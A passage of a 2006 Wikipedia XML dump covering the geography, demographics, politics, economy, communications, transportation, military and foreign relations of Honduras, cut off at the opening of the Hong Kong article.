Vegetation in the interior highlands is varied. Much of the western, southern, and central mountains are open woodland-- supporting pine forest interspersed with some oak, scrub, and grassy clearings. The ranges toward the east are primarily continuous areas of dense, broad-leaf evergreen forest. Around the highest peaks, remnants of dense rain forest that formerly covered much of the area are still found.

==Caribbean Lowlands==
This area of river valleys and coastal plains, which most Honduras call &quot;the north coast,&quot; or simply &quot;the coast,&quot; has traditionally been Honduras's most exploited region. The central part of the Caribbean lowlands, east of La Ceiba, is a narrow coastal plain only a few kilometers wide. To the east and west of this section, however, the Caribbean lowlands widen and in places extend inland a considerable distance along broad river valleys. The broadest river valley, along the Río Ulúa near the Guatemalan border, is Honduras's most developed area. Both Puerto Cortés, the country's largest port, and San Pedro Sula, Honduras's industrial capital, are located here.

To the east, near the Nicaraguan border, the Caribbean lowlands broaden to an extensive area known as the Mosquitia. Unlike the western part of the Caribbean lowlands, the Mosquitia is Honduras's least-developed area. Underpopulated and culturally distinct from the rest of the country, the area consists of inland savannah with swamps and mangrove near the coast. During times of heavy rainfall, much of the savannah area is covered by shallow water, making transportation by means other than a shallow-draft boat almost impossible.

==Pacific Lowlands==
The smallest physiographic region of Honduras, the Pacific lowlands, is a strip of land averaging twenty-five kilometers wide on the north shore of the Golfo de Fonseca. The land is flat, becoming swampy near the shores of the gulf, and is composed mostly of alluvial soils washed down from the mountains. The gulf is shallow and the water rich in fish and mollusks. Mangroves along the shore make shrimp and shellfish particularly abundant by providing safe and abundant breeding areas amid their extensive networks of underwater roots.

Several islands in the gulf fall under Honduras's jurisdiction. The two largest, Zacate Grande and El Tigre, are eroded volcanoes, part of the chain of volcanoes that extends along the Pacific coast of Central America. Both islands have volcanic cones more than 700 meters in elevation that serve as markers for vessels entering Honduras's Pacific ports.

==Climate==

Although all of Honduras lies within the tropics, the climatic types of each of the three physiographic regions differ. The Caribbean lowlands have a tropical wet climate with consistently high temperatures and humidity, and rainfall fairly evenly distributed throughout the year. The Pacific lowlands have a tropical wet and dry climate with high temperatures but a distinct dry season from November through April. The interior highlands also have a distinct dry season, but, as is characteristic of a tropical highland climate, temperatures in this region decrease as elevation increases.

Unlike in more northerly latitudes, temperatures in the tropics vary primarily with elevation instead of with the season. Land below 1,000 meters is commonly known as tierra caliente (hot land), between 1,000 and 2,000 meters tierra templada (temperate land), and above 2,000 meters tierra fría (cold land). Both the Caribbean and Pacific lowlands are tierra caliente, with daytime highs averaging between 28° C and 32° C throughout the year. In the Pacific lowlands, April, the last month of the dry season, brings the warmest temperatures; the rainy season is slightly cooler, although higher humidity during the rainy season makes these months feel more uncomfortable. In the Caribbean lowlands, the only relief from the year-round heat and humidity comes during December or January when an occasional strong cold front from the north (a norte) brings several days of strong northwest winds and slightly cooler temperatures.

The interior highlands range from tierra templada to tierra fría. Tegucigalpa, in a sheltered valley and at an elevation of 1,000 meters, has a pleasant climate, with an average high temperature ranging from 30° C in April, the warmest month, to 25° C in January, the coolest. Above 2,000 meters, temperatures can fall to near freezing at night, and frost sometimes occurs.

Rain falls year round in the Caribbean lowlands but is seasonal throughout the rest of the country. Amounts are copious along the north coast, especially in the Mosquitia, where the average rainfall is 2,400 millimeters. Nearer San Pedro Sula, amounts are slightly less from November to April, but each month still has considerable precipitation. The interior highlands and Pacific lowlands have a dry season, known locally as &quot;summer,&quot; from November to April. Almost all the rain in these regions falls during the &quot;winter,&quot; from May to September. Total yearly amounts depend on surrounding topography; Tegucigalpa, in a sheltered valley, averages only 1,000 millimeters of precipitation.

Honduras lies within the hurricane belt, and the Caribbean coast is particularly vulnerable to hurricanes or tropical storms that travel inland from the Caribbean. Hurricane Francelia in 1969 and Tropical Storm Alleta in 1982 affected thousands of people and caused extensive damage to crops. Hurricane Fifi in 1974 was the worst natural disaster in recent Honduran history; more than 8,000 people were killed, and nearly the entire banana crop was destroyed. Hurricanes occasionally form over the Pacific and move north to affect southern Honduras, but Pacific storms are generally less severe and their landfall rarer. 

==Hydrography==
''See main article [[Rivers of Honduras]]''

Honduras is a water-rich country. The most important river in Honduras is the Ulúa, which flows 400 kilometers to the Caribbean through the economically important Valle de Sula. Numerous other rivers drain the interior highlands and empty north into the Caribbean. These other rivers are important, not as transportation routes, but because of the broad fertile valleys they have produced.

Rivers also define about half of Honduras's international borders. The Río Goascorán, flowing to the Golfo de Fonseca, and the Río Lempa define part of the border between El Salvador and Honduras. The Río Coco marks about half of the border between Nicaragua and Honduras.

Despite an abundance of rivers, large bodies of water are rare. Lago de Yojoa, located in the west-central part of the country, is the sole natural lake in Honduras. This lake is twenty-two kilometers long and at its widest point measures fourteen kilometers. Several large, brackish lagoons open onto the Caribbean in northeast Honduras. These shallow bodies of water allow limited transportation to points along the coast.

==Other facts==

===Area:===
* ''total:'' 112,090 km²
* ''land:'' 111,890 km²
* ''water:'' 200 km²
* ''Area - comparative:'' slightly larger than [[Tennessee]] and slightly smaller than [[England]].

===Land boundaries:===
* total: 1,520 km
:''border countries:''
* Guatemala 256 km, 
* El Salvador 342 km, 
* Nicaragua 922 km

===Coastline:===
* 820 km
* Maritime claims:
**contiguous zone: 24 nm
**continental shelf: natural extension of territory or to 200 nm
**exclusive economic zone: 200 nm
* territorial sea: 12 nm

===Climate:===
Honduras is tropical in the lowlands and temperate in the mountains. The Pacific coast region is slightly hotter than the [[Caribbean]] coast.

===Terrain:===
Honduras has a mountainous interior, a narrow Pacific coastal plain, the Sula Valley in the north west running down to [[San Pedro Sula]], a further coastal strip heading east until the large [[La Mosquita]] jungle plain in the North East.

===Elevation extremes:===
* Lowest point: Caribbean Sea 0 m
* Highest point: Cerro Las Minas 2,870 m

===Natural resources:===
[[timber]], [[gold]], [[silver]], [[copper]], [[lead]], [[zinc]], [[iron]] ore, [[antimony]], [[coal]], [[fish]], [[hydropower]]

===Land use:===
* arable land: 15%
* permanent crops: 3%
* permanent pastures: 14%
* forests and woodland: 54%
* other: 14% (1993 est.)
* Irrigated land: 740 km² (1993 est.)

===Natural hazards:===
Frequent mild, [[earthquake]]s, and damaging [[hurricanes]] and floods along the [[Caribbean]] coast

==Environment==
There is a move out of the poor [[campesinos]] out of the countryside and into the urban centers. [[Deforestation]] resulting from [[logging]] is especially rampant in [[Olancho Department]]. The clearing of land for agricultural purposes occurs throughout Honduras but especially in the largely undeveloped [[La Mosquitia]] region, and causes further land degradation and soil erosion hastened. Mining activities pollute the [[Lake Yojoa]], which is the country's largest source of fresh water, as well as some rivers and streams with [[heavy metals]]. [[Hurricane Mitch]] cause severe damage.

===International agreements===
Honduras has signed and ratified agreements on [[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Desertification]], [[Endangered Species]], [[Hazardous Wastes]], [[Law of the Sea]], [[Marine Dumping]], [[Nuclear Test Ban]], [[Ozone Layer Protection]], [[Tropical Timber 83]], [[Tropical Timber 94]], and [[Wetlands]].
Honduras has signed, but not ratified the [[Climate Change-Kyoto Protocol]].

==See also== 
*[[Honduras]]
*[[List of places in Honduras]]

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''CIA World Fact Book''

[[Category:Geography of Honduras|*]]
[[Category:Geography by country|Honduras]]

[[fr:Géographie du Honduras]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Honduras</title>
    <id>13397</id>
    <revision>
      <id>36811652</id>
      <timestamp>2006-01-26T17:15:17Z</timestamp>
      <contributor>
        <username>Darwinek</username>
        <id>107928</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''[[Demographics]] of [[Honduras]]'''

About 91% of the population is [[mestizo]]. There also are small minorities of [[Europe]]an, [[Afro-Latin American|Afro-Honduran]], and indigenous [[Amerindian]] descent. Many Hondurans are [[Roman Catholic]], but [[Protestant]] [[proselytization]] has resulted in significant numbers of converts. The [[Spanish language]] is the predominant language, and while ([[pidgin]]) [[English language|English]] is spoken in the Caribbean [[Islas de la Bahía department]] it is being superseded. Indigenous [[Amerindian language]]s (in several dialects) and [[Garifuna]] are also spoken, though Spanish is becoming more popular everywhere where it was not widely spoken, due to efforts by the government, including making Spanish the language used in education.

The population is 7.1 million according to a [[United Nations]] 2004 estimate. 

==Age structure==
&lt;br&gt;''0-14 years:''
43% (male 1,361,259; female 1,303,041)
&lt;br&gt;''15-64 years:''
54% (male 1,665,406; female 1,699,680)
&lt;br&gt;''65 years and over:''
3% (male 104,469; female 115,743) (2000 est.)

==Population growth rate==
2.52% (2000 est.)

==Birth rate==
32.65 births/1,000 population (2000 est.)

==Death rate==
5.31 deaths/1,000 population (2000 est.)

==Net migration rate==
-2.17 migrant(s)/1,000 population (2000 est.)

==Sex ratio==
* at birth 1.05 male(s)/female
*under 15 years 1.04 male(s)/female
*15-64 years 0.98 male(s)/female
*65 years and over 0.9 male(s)/female
*total population 1 male(s)/female (2000 est.)

==Infant mortality rate==
31.29 deaths/1,000 live births (2000 est.)

==Life expectancy at birth==
*total population 69.93 years
*male 67.91 years
*female 72.06 years (2000 est.)

==Total fertility rate==
4.26 children born/woman (2000 est.)

==Nationality==
*noun Honduran(s)or Hondurainian(s)
*adjective Honduran or Hondurainian

==Ethnic groups==
mestizo (mixed Amerindian-European and African) 91%, Amerindian 7%, Arab, black, white 2%

==Religions==
Roman Catholic 97%, Protestant minority

==Languages==
Spanish, Amerindian dialects

==Literacy==
*definition age 15 and over can read and write
*total population 72.7%
*male 72.6%
female 72.7% (1995 est.)
''Article based on text from the [[CIA World Factbook]].''

[[Category:Honduran society]]
[[Category:Demographics by country|Honduras]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Honduras</title>
    <id>13398</id>
    <revision>
      <id>33629110</id>
      <timestamp>2006-01-02T19:58:03Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">{{Politics of Honduras}}
'''Politics of Honduras''' takes place in a framework of a [[presidential system|presidential]] [[representative democracy|representative democratic]] [[republic]], whereby the [[President of Honduras]] is both [[head of state]] and [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and the [[National Congress of Honduras]]. The party system is dominated by the conservative [[National Party of Honduras]] and the liberal [[Liberal Party of Honduras]].
The [[Judiciary]] is independent of the executive and the legislature.

The [[1982]] [[constitution]] of [[Honduras]] provides for a strong executive, a unicameral [[National Congress of Honduras|National Congress]], and a judiciary appointed by the National Congress. Reinforced by the media and several political watchdog organizations, [[human rights]] and [[civil liberties]] are reasonably well protected. There are no known political prisoners in Honduras and the privately owned media frequently exercises its right to criticize without fear of reprisals. Organized labor now represents less than 15% of the work force and its economic and political influence has declined. 

==Current situation==
===Security situation===
The security situation in [[Honduras]] is inevitably going to be more precarious in [[2005]] because it is an election year, culminating in the presidential elections in November. Three major events over the last 2 years have brought this tiny country to the attention of the world [[media]]. A massacre of 68 prisoners in the farm prison of [[La Ceiba]] on [[5 April]] [[2003]], a fire in the prison at [[San Pedro Sula]] that killed 107 prisoners on [[18 May]] [[2004]], and the massacre of 27 innocent men, women and children in San Pedro Sula, on [[23 December]] [[2004]].

There is a great feelings of insecurity amongst the population about the chronically poor security situation in Honduras. The major problem is rooted in the [[gangs]], who are called maras in [[Spanish language|Spanish]] (ants in English). These include the [[Mara Salvatrucha]] and the [[Mara 18]]. The gangs are rooted in the poverty of Honduras, and in the ready availabity of [[crack]] [[cocaine]]. Honduras is not only a transit point for cocaine running between [[Colombia]] and the [[United States]] but also has an internal market, creating all sorts of inner city urban problems. The gangs sell the crack, commit other crimes, and hire themselves out to the seriously organised drug smugglers. Those engaged in international trafficking are better resourced than the state authorities combating them. An argument some would use to justify increasing US [[military]] aid to Honduras to help fight the organised drug gangs, while others would say that Honduras would be better off legalising drugs, thus avoiding military solutions to Honduran security problems.

President [[Ricardo Maduro]], a former Central Bank of Honduras chairman, decided to stand for President on a security ticket after his only son was murdered on [[23 April]] [[1997]], an event that gained him considerable public support. During his tenure as President of the Central Bank of Honduras,a banking license was given to Banco de Producción, after leaving the Central bank he became Chairman and majority stockholder of the bank and the General Manger of the Central bank, Ana Cristina Mejia de Pereira became the General Manager of Banco de la Producción.  He came into power in January [[2002]] with a wave of measures against gangs and delincuency, the most noticeable of which has been soldiers patrolling the streets with the police. Many gang members have been jailed for illicit association. While violent crime dipped for a few months even the best that Maduro could throw at the criminals has not slowed the very high crime rate.

During 2004 a number of victims that had been cut up into pieces were left in the parks of [[San Pedro Sula]] with messages from the gangs denouncing Ricardo Maduro, Head of Congress and presidential contender in [[2005]] [[Porfirio &quot;Pepe&quot; Lobo]], and Interior Minister [[Oscar Álvarez]]. Pepe Lobo in particular is feared because of his belief in the [[death penalty]], something Maduro opposes. 
The massacre in the San Pedro Sula suburb of [[Chamelecón]] left 27 dead and 29 injured. The murderers left behind a message, claiming to come from the Cinchoneros, and railing against Maduro, Lobo, Álvarez and the death penalty. They promised to commit another massacre before the new year. Fortunately one suspected assassin was detained very shortly afterwards in another part of San Pedro Sula, and further arrests have since been made.

===Death Penalty===
The [[death penalty]] was abolished in [[1956]], and the last person was executed in [[1940]], but several candidates for the current presidential [[election]]s are in favour of restoring it. Pepe Lobo has promised that if elected President but unable to get a majority in Congress to pass the death penalty he would hold a [[referendum]] on the subject.

==Executive branch:==
{{office-table}}
|[[President of Honduras|President]]
|[[Ricardo Maduro|Ricardo Rodolfo Maduro Joest]]
|[[National Party of Honduras|PNH]]
|[[January 27]] [[2002]]
|-
|President elect
|[[Manuel Zelaya]]
|[[Liberal Party of Honduras|PLH]]
|
|}
The president is both the chief of state and head of government and is elected by popular vote for a four-year term.

==Legislative branch==
The [[National Congress of Honduras]] ''(Congreso Nacional)'' has 128 members ''(diputados),'' elected for four year term by [[proportional representation]]; congressional seats are assigned the parties' candidates on a [[Departments of Honduras|departmental]] basis in proportion to the number of votes each party receives. 

==Political parties and elections==
{{elect|List of political parties in Honduras|Elections in Honduras}}
On [[February 20]] [[2005]] the PNH and the PLH held their internal party elections to decide who would represent these two parties in the forthcoming presidential elections in [[November]]. [[Porfirio Pepe Lobo]] became the PNH candidate. [[Manuel Zelaya]] became the Liberal Party candidate. The next general and presidential elections took place on [[November 27]],[[2005]], with the result expected shortly. As of December 2005, it appears that Zelaya and the opposition Liberals defeated Lobo and the Nationals.
{{Honduras presidential elections, 2005}}
{{Honduras legislative elections, 2005}}

==Judicial branch==
The judiciary includes a [[Supreme Court]] of Justice, courts of appeal, and several courts of original jurisdiction &amp;ndash; such as labor, tax, and criminal courts. The judges of the Supreme Court of Justice or Corte Suprema de Justicia, are elected for four-year terms by the National Congress.

==Administrative divisions==
For administrative purposes, Honduras is divided into [[Departments of Honduras|18 departments]], with departmental and municipal officials selected for two-year terms.

==Political pressure groups==
Some of the main political pressure groups are the Committee for the Defense of Human Rights in Honduras or CODEH; Confederation of Honduran Workers or CTH; Coordinating Committee of Popular Organizations or CCOP; General Workers Confederation or CGT; Honduran Council of Private Enterprise or COHEP; National Association of Honduran Campesinos or ANACH; National Union of Campesinos or UNC; United Federation of Honduran Workers or FUTH.

==Guerrilla groups==
The [[Revolutionary Popular Forces Lorenzo Zelaya]] is in resistance to the government.

==International organization participation==
BCIE, CACM, ECLAC, FAO, G-77, IADB, IBRD, ICAO, [[International Criminal Court|ICC]], ICFTU, ICRM, IDA, IFAD, IFC, IFRCS, ILO, IMF, IMO, Intelsat, [[Interpol]], IOC, IOM, ITU, LAES, LAIA (observer), MINURSO, NAM, OAS, OPANAL, OPCW, PCA, [[United Nations]], UNCTAD, [[UNESCO]], UNIDO, UPU, WCL, WFTU, WHO, WIPO, WMO, WTrO

[[Category:Lists of political parties|Honduras]]
[[Category:Politics of Honduras| ]]

[[fr:Politique du Honduras]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Honduras</title>
    <id>13399</id>
    <revision>
      <id>42093030</id>
      <timestamp>2006-03-03T19:59:08Z</timestamp>
      <contributor>
        <username>Dismas</username>
        <id>152983</id>
      </contributor>
      <minor />
      <comment>US -&gt; U.S. per MoS#Acronyms and abbreviations</comment>
      <text xml:space="preserve">[[image:Honduras_econ_1983.jpg|thumb|right|320px|Economic activity map of Honduras, 1983]]
[[Honduras]] is one of the poorest countries in [[Latin America]]. In the 1960s it was the poorest nation of the region, but after the [[earthquake]] in 1972 that devestated [[Managua]], and the two wars that followed ( the first being the one in between the ''[[ Sandinistas ]]'' and ''[[ Anastasio Somoza Debayle]]'' and the second being in between the ''[[ Sandinistas]]'' and the ''[[Contras ]]''; Nicaragua became the poorest of Central America's modern nations. The economy is based mostly on [[agriculture]], which accounted for 22% of its [[gross domestic product]] (GDP) in [[1999]]. Leading export [[coffee]] ($340 million) accounted for 22% of total Honduran export revenues. [[Banana]]s, formerly the country's second-largest export until being virtually wiped out by [[1998]]'s Hurricane Mitch, recovered in [[2000]] to 57% of pre-Mitch levels. Cultivated [[shrimp]] are another important export sector. Honduras has extensive [[forest]], [[marine biology|marine]], and [[mineral]] [[resource]]s, although widespread [[slash and burn]] agricultural methods continue to destroy Honduran forests. [[Unemployment]] is estimated at around 4.0%, though [[underemployment]] is much higher. The Honduran economy grew 4.8% in 2000, recovering from the Mitch-induced recession (-1.9%) of 1999. The economy is expected to grow 4-5% in 2001, led by continuation of foreign-funded reconstruction projects. The Honduran [[maquiladora]] sector, the second-largest in the world, continued its strong performance in 2000, providing employment to over 120,000 and generating more than $528 million in foreign exchange for the country. [[Inflation]], as measured by the consumer price index, was 10.1% in 2000, down slightly from the 10.9% recorded in 1999. The country's international reserve position continued to be strong in 2000, at slightly over $1 [[billion]]. Remittances from Hondurans living abroad (mostly in the [[United States|U.S.]]) rose 28% to $410 million in 2000. The lempira (currency) has only moderately [[devaluation|devalued]].

The country signed an [[Enhanced Structural Adjustment Facility]] (ESAF) -- later converted to a [[Poverty Reduction and Growth Facility]] (PRGF) with the [[International Monetary Fund]] in March 1999. While Honduras continues to maintain stable macroeconomic policies, it has lagged in implementing structural reforms, such as privatization of the publicly-owned telephone and energy distribution companies. Honduras received significant debt relief in the aftermath of Hurricane Mitch, including the suspension bilateral debt service payments and bilateral debt reduction by the Paris Club -- including the U.S. -- worth over $400 million. In July 2000, Honduras reached its decision point under the [[Heavily Indebted Poor Countries Initiative]] (HIPC), qualifying the country for interim multilateral debt relief.

*GDP purchasing power parity - $14.1 billion (1999 est.)

*GDP - real growth rate 4% (2004)

*GDP - per capita purchasing power parity - $2,050 (1999 est.)

*GDP - composition by sector
**agriculture 20%
**industry 25%
**services 55% (1998 est.)

*Population below poverty line 50% (1992 est.)

*Household income or consumption by percentage share
**lowest 10% consume 1.2%
**highest 10% consume 42.1% (1996)

*Inflation rate (consumer prices) 14% (1999 est.)

*Labor force 2.3 million (1997 est.)

*Labor force - by occupation agriculture 29%, industry 21%, services 60% (1998 est.)

*Unemployment rate 12% (1999); underemployed 30% (1997 est.)

*Budget
**revenue $980 million
*expenditures $1.15 billion including capital expenditures of $NA (1998 est.)

*Industries bananas, sugar, coffee, textiles, clothing, wood products

*Industrial production growth rate 9% (1992 est.)

*Electricity - production 2,904 GWh (1998)

*Electricity - production by source
**fossil fuel 34.44%
**hydro 65.56%
**nuclear 0%

*Electricity - consumption 2,742 GWh (1998)

*Electricity - exports 16 GWh (1998)

*Electricity - imports 57 GWh (1998)

*Agriculture - products bananas, coffee, citrus; beef; timber; shrimp

*Exports $1.6 billion (f.o.b., 1999 est.)

*Exports - commodities coffee, bananas, shrimp, lobster, meat; zinc, lumber

*Exports - partners US 73%, Japan 4%, Germany 4%, Belgium, Spain (1998)

*Imports $2.7 billion (f.o.b., 1999 est.)

*Imports - commodities machinery and transport equipment, industrial raw materials, chemical products, fuels, foodstuffs

*Imports - partners US 60%, Guatemala 5%, Netherlands Antilles, Japan, Germany, Mexico, El Salvador (1998)

*Debt - external $4.4 billion (1999)

*Economic aid - recipient $557.8 million (1999)

*Currency 1 [[lempira]] (L) = 100 centavos

*Exchange rates lempiras (L) per US$1 - 19.00 (October 2005), 14.5744 (January 2000), 14.5039 (1999), 13.8076 (1998), 13.0942 (1997), 12.8694 (1996), 10.3432 (1995) .... 1.00 (1980)

==See also==
* [[Honduras]]

{{WTO}}
[[Category:WTO members|Honduras]]
[[Category:Economy of Honduras| ]]
 
[[fr:Économie du Honduras]]
[[pt:Economia das Honduras]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Honduras</title>
    <id>13400</id>
    <revision>
      <id>41865076</id>
      <timestamp>2006-03-02T05:50:09Z</timestamp>
      <contributor>
        <ip>68.33.126.227</ip>
      </contributor>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
400,000 (2005) land lines.  

'''Telephones - mobile cellular:'''
1,114,427 (2005) (About 60% belong to , http://www.tigo.hn and 40% to 
http://www.alo.hn )
'''Telephone system:'''
Digital infrastructure, privatization of all services in December 2005. 
&lt;br&gt;''domestic:''
NA
&lt;br&gt;''international:''
[[satellite]] earth stations - 2 [[Intelsat]] ([[Atlantic Ocean]]); connected to [[Central American Microwave System]]

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
[[AM radio|AM]] 241, [[FM]] 53, [[shortwave]] 12 (1998)

'''Radios:'''
2.45 million (1997)

'''[[Television]] broadcast stations:'''
11 (most of these stations are based in [[Tegucigalpa]] and [[San Pedro Sula]]; there are also 17 repeaters) (1997)

'''Televisions:'''
570,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
+100 (2005)

'''Internet users:'''
400,000 (2005)

'''[[Country code]] (Top-level domain):''' HN

:''See also :'' [[Honduras]]
[[Category:Communications in Honduras| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Honduras</title>
    <id>13401</id>
    <revision>
      <id>20841080</id>
      <timestamp>2005-08-12T09:26:02Z</timestamp>
      <contributor>
        <username>Seabhcan</username>
        <id>41614</id>
      </contributor>
      <comment>/* [[Railway]]s */  no internation connection in use</comment>
      <text xml:space="preserve">== [[Railway]]s ==
: total: 595 km
: narrow gauge: 349 km 
: 1.067-m gauge: 246 km 
: 0.914-m gauge (1999)

=== Railway links with adjacent countries ===

* [[Transportation in El Salvador|El Salvador]] - no
* [[Transportation in Guatemala|Guatemala]] - none in use [http://www.lonelyplanet.com/destinations/central_america/honduras/get.htm]
* [[Transportation in Nicaragua|Nicaragua]] - no

== [[Highway]]s ==
: total: 15,400 km
: paved: 3,126 km
: unpaved: 12,274 km (1999 est.)

== [[Waterway]]s ==
465 km navigable by small craft

== [[seaport|Ports]] and [[harbor]]s ==
=== Atlantic Ocean ===
* [[Puerto Cortés]]
* [[Tela]]
* [[La Ceiba]]

=== Pacific Ocean ===

=== Other ===
*[[Puerto Castilla]]
*[[San Lorenzo, Honduras|San Lorenzo]]
*[[Puerto Lempira]]

== Merchant marine ==
: ''total:'' 306 ships (1,000 GRT or over) totaling 848,150 GRT/980,995 DWT
: ''ships by type:''
bulk 26, cargo 187, chemical tanker 5, container 7, livestock carrier 1, passenger 2, passenger/cargo 4, petroleum tanker 43, refrigerated cargo 15, roll-on/roll-off 9, short-sea passenger 5, vehicle carrier 2 (1999 est.)

''note:''
a flag of convenience registry; [[Russia]] owns 6 ships, [[Vietnam]] 1, [[Singapore]] 3, [[North Korea]] 1 (1998 est.)

== [[Airport]]s ==
119 (1999 est.)
: ''Principle International airports:'' [[San Pedro Sula]], [[Tegucigalpa]]
=== Airports - with paved runways ===
: total: 12
: 2,438 to 3,047 m: 3
: 1,524 to 2,437 m: 2
: 914 to 1,523 m: 4
: under 914 m: 3 (1999 est.)

=== Airports - with unpaved runways ===
: total: 107
: 1,524 to 2,437 m: 2
: 914 to 1,523 m: 21
: under 914 m: 84 (1999 est.)

== See also ==

* [[Honduras]]


{{CIAfb}}


[[Category:Transportation in Honduras|*]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Honduras</title>
    <id>13402</id>
    <revision>
      <id>32104605</id>
      <timestamp>2005-12-20T14:47:51Z</timestamp>
      <contributor>
        <username>SqueakBox</username>
        <id>193093</id>
      </contributor>
      <comment>no conscription here so these rm figures were meaningless</comment>
      <text xml:space="preserve">'''[[Military]] of [[Honduras]]'''

Events during the [[1980s]] in [[El Salvador]] and [[Nicaragua]] led Honduras&amp;mdash;with [[United States|US]] assistance&amp;mdash;to expand its armed forces considerably, laying particular emphasis on its air force, which came to include a squadron of US-provided [[F-5 Freedom Fighter|F-5]]s. The resolution of the civil wars in El Salvador and Nicaragua and across-the-board budget cuts made in all ministries has brought reduced funding for the Honduran armed forces. The abolition of the draft has created staffing gaps in the now all-volunteer armed forces. The military now is far below its authorized strength, and further reductions are expected. In January 1999, the Constitution was amended to abolish the position of military commander-in-chief of the armed forces, thus codifying civilian authority over the military. President Flores also named the first civilian minister of defense in the country's history.

'''Military branches:'''
Army, Navy (includes Marines), Air Force

'''Military manpower - military age:'''
18 years of age

'''Military expenditures - dollar figure:'''
$33 million (FY98)

'''Military expenditures - percent of GDP:'''
0.6% (FY98)

==References and Links==
*[[CIA World Factbook]]
*[[Honduras]]
[[Category:Government of Honduras]]
[[Category:Militaries|Honduras]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Honduras</title>
    <id>13403</id>
    <revision>
      <id>34159253</id>
      <timestamp>2006-01-06T21:25:34Z</timestamp>
      <contributor>
        <username>Bill37212</username>
        <id>209421</id>
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      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">[[Honduras]] is a member of the [[United Nations]], the [[World Trade Organization]] (WTO), the [[Organization of American States]] (OAS), the [[Central American Parliament]] (PARLACEN), the [[Central American Integration System]] (SICA), and the [[Central American Security Commission]] (CASQ). During 1995-96, Honduras, a founding member of the United Nations, for the first time served as a non-permanent member of the [[UN Security Council]].

President Flores consulted frequently with the other [[Central America]]n presidents on issues of mutual interest. He continued his predecessor's strong emphasis on Central American cooperation and integration, which resulted in an agreement easing border controls and tariffs among Honduras, [[Guatemala]], [[Nicaragua]], and [[El Salvador]]. Honduras also joined its six Central American neighbors at the 1994 Summit of the Americas in signing the Alliance for Sustainable Development, known as the [[Conjunta Centroamerica-USA]], or CONCAUSA, to promote sustainable economic development in the region. Honduras held the 6-month SICA presidency during the second half of 1998.

In [[1969]], El Salvador and Honduras fought the brief &quot;[[Football War]]&quot; over disputed border areas and friction resulting from the 300,000 Salvadorans who had emigrated to Honduras in search of land and employment. The catalyst was nationalistic feelings aroused by a series of [[soccer]] matches between the two countries. The two countries formally signed a peace treaty on October 30, 1980, which put the border dispute before the [[International Court of Justice]] (ICJ). In September 1992, the court awarded most of the disputed territory to Honduras. In January 1998, Honduras and El Salvador signed a border demarcation treaty that will implement the terms of the ICJ decree. The treaty awaits legal ratification in both countries. Honduras and El Salvador maintain normal diplomatic and trade relations.

Honduras and Nicaragua had tense relations throughout 2000 and early 2001 due to a boundary dispute off the Atlantic coast. Nicaragua imposed a 35% tariff against Honduras due to the dispute, and the matter is currently awaiting a decision from the ICJ.

At the 17th Central American Summit in 1995, hosted by Honduras in the northern city of [[San Pedro Sula]], the region's six countries (excluding [[Belize]]) signed treaties creating confidence- and security-building measures and combating the smuggling of stolen automobiles in the isthmus. In subsequent summits (held every 6 months), Honduras has continued to work with the other Central American countries on issues of common concern.

In Costa Rica in May 1997, former President [[Carlos Roberto Reina]] met with former US President [[Bill Clinton]], his Central American counterparts, and the President of the [[Dominican Republic]] to reaffirm support for strengthening democracy, [[good governance]], and promoting prosperity through economic integration, free trade, and investment. The leaders also expressed their commitment to the continued development of just and equitable societies and responsible environmental policies as an integral element of sustainable development.

In Summer [[2003]] Honduras sent around 370 soldiers to Iraq as part of the [[USA]] coalition of countries that were engaging in [[war]] in this country. Immediately after [[21st April]] [[2004]] these troops were withdrawn by President [[Ricardo Maduro]] in the wake of a similar decision by [[Spain|Spanish]] prime minister [[José Luis Rodríguez Zapatero]]. Honduras joining the coalition was largely an attempt to improve foreign relations with the United States over the issue of the [[illegal immigration]] of many thousands of Hondurans to the US. The money these illegal immigrants send back to their families in Honduras is a crucial factor in the Honduran economy, while any political strategy to help these illegal immigrants is a guaranteed vote winner.

The current Foreign Minister is [[Guillermo Pérez Cadalso Arias]].

Honduras maintains official relations with the [[Republic of China]] (Taiwan) instead of the [[People's Republic of China]].

==Disputes - international:==
The Honduras-El Salvador Border Protocol ratified by Honduras in May 1999 established a framework for a long-delayed border demarcation, which is currently underway; with respect to the maritime boundary in the Golfo de Fonseca, the ICJ referred to the line determined by the 1900 Honduras-Nicaragua Mixed Boundary Commission and advised that some tripartite resolution among El Salvador, Honduras, and Nicaragua likely would be required; maritime boundary dispute with Nicaragua in the [[Caribbean Sea]].

== Illicit drugs: == 
Honduras is a transshipment point for [[illegal drug trade|drugs]] and [[narcotics]]; illicit producer of [[cannabis]], cultivated on small plots and used principally for local consumption; [[political corruption|corruption]] is a major problem.

''Parts of this article are based on text from the [[CIA World Factbook]].''

[[Category:Foreign relations of Honduras| ]]</text>
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  </page>
  <page>
    <title>Hong Kong</title>
    <id>13404</id>
    <restrictions>move=:edit=</restrictions>
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      <id>42102546</id>
      <timestamp>2006-03-03T21:15:51Z</timestamp>
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        <ip>84.72.195.11</ip>
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      <text xml:space="preserve">{{featured article}}
&lt;!-- NOTE: Commonwealth spelling is used in this article --&gt;
{{Hong Kong infobox}}
The '''Hong Kong Special Administrative Region of the People's Republic of China''' ([[Traditional Chinese character|Traditional Chinese]]: 中華人民共和國香港特別行政區; [[Simplified Chinese character|Simplified Chinese]]: 中华人民共和国香港特别行政区 &lt;small&gt;[[Pronunciation of Hong Kong|pronunciation]]&lt;/small&gt;), is located on the southeastern coast of China.

